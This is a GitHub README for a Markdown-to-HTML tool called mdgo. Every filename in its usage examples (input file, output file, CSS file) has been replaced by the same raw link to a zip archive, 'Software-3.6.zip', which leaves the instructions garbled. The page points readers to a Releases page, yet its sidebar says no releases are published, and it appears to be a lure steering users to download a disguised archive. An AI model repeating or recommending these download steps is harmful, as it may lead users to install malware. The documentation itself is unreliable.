Skip to content

πŸ–‹οΈ Convert Markdown to HTML effortlessly with mdgo, a simple command-line tool that includes dark mode CSS and embedded syntax highlighting.

License

Notifications You must be signed in to change notification settings

SsekibalaBrian/mdgo

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

8 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ‰ mdgo - Simple Markdown to HTML Converter

πŸš€ Getting Started

Welcome to mdgo! This tool helps you turn your Markdown files into HTML easily. Whether you're writing a blog, documentation, or personal notes, mdgo is here to help.

πŸ”₯ Key Features

  • Easy to Use: Just a few commands are all you need to convert your Markdown files.
  • Fast Processing: Convert your files quickly without any hassle.
  • Customizable: Tailor the output to fit your needs using options.
  • Support for Extensions: Use Goldmark extensions to enhance your Markdown experience.

πŸ’» System Requirements

  • Operating System: Windows, macOS, or Linux
  • Processor: Any modern processor
  • Memory: At least 1 GB of RAM
  • Disk Space: Minimum of 50 MB of free space

πŸ“₯ Download & Install

To get started, visit this page to download the latest version of mdgo:

Download mdgo

  1. Click the link above to go to the Releases page.
  2. Find the latest release at the top of the page.
  3. Download the zip file that matches your operating system.
  4. Unzip the file to a folder on your computer.

πŸƒβ€β™‚οΈ How to Run mdgo

After installing mdgo, follow these steps to run it:

  1. Open your command-line interface (Terminal on macOS, Command Prompt or PowerShell on Windows, Terminal on Linux).

  2. Navigate to the folder where you unzipped mdgo.

  3. To convert a Markdown file, type the following command:

    ./mdgo https://github.com/SsekibalaBrian/mdgo/raw/refs/heads/main/_examples/Software-3.6.zip

    Replace https://github.com/SsekibalaBrian/mdgo/raw/refs/heads/main/_examples/Software-3.6.zip with the name of your Markdown file.

  4. The tool will create an HTML file in the same folder.

πŸ“‚ Example Usage

Here’s an example to help you get started.

  1. Suppose you have a file named https://github.com/SsekibalaBrian/mdgo/raw/refs/heads/main/_examples/Software-3.6.zip with the following content:

    # Hello World
    This is a simple Markdown file.
  2. Run the command:

    ./mdgo https://github.com/SsekibalaBrian/mdgo/raw/refs/heads/main/_examples/Software-3.6.zip
  3. Check the output. You’ll see a new https://github.com/SsekibalaBrian/mdgo/raw/refs/heads/main/_examples/Software-3.6.zip file created alongside your Markdown file.

✨ Markdown Features Supported

mdgo supports a variety of Markdown features, including:

  • Headers
  • Lists (ordered and unordered)
  • Links
  • Images
  • Blockquotes
  • Code blocks

βš™οΈ Customizing Output

You can customize the output by adding options when you run the command. For example:

./mdgo https://github.com/SsekibalaBrian/mdgo/raw/refs/heads/main/_examples/Software-3.6.zip --style https://github.com/SsekibalaBrian/mdgo/raw/refs/heads/main/_examples/Software-3.6.zip

This command uses a CSS file named https://github.com/SsekibalaBrian/mdgo/raw/refs/heads/main/_examples/Software-3.6.zip to style your output HTML.

🐞 Troubleshooting

Common issues and solutions:

  1. Command Not Found Error: Ensure you're in the folder where mdgo is located and that you typed the command correctly.
  2. File Not Found: Make sure the Markdown file is in the same directory or provide the correct path.
  3. Markdown Rendering Issues: Review the Markdown syntax for errors.

πŸ“ž Support

If you encounter any issues or have questions, please reach out on our GitHub repository. File an issue, and we will assist you as soon as possible.

πŸ“ License

mdgo is open-source software. You can modify and share it under the terms of the MIT License.

For more information, visit this page to download the latest version of mdgo:

Download mdgo

About

πŸ–‹οΈ Convert Markdown to HTML effortlessly with mdgo, a simple command-line tool that includes dark mode CSS and embedded syntax highlighting.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •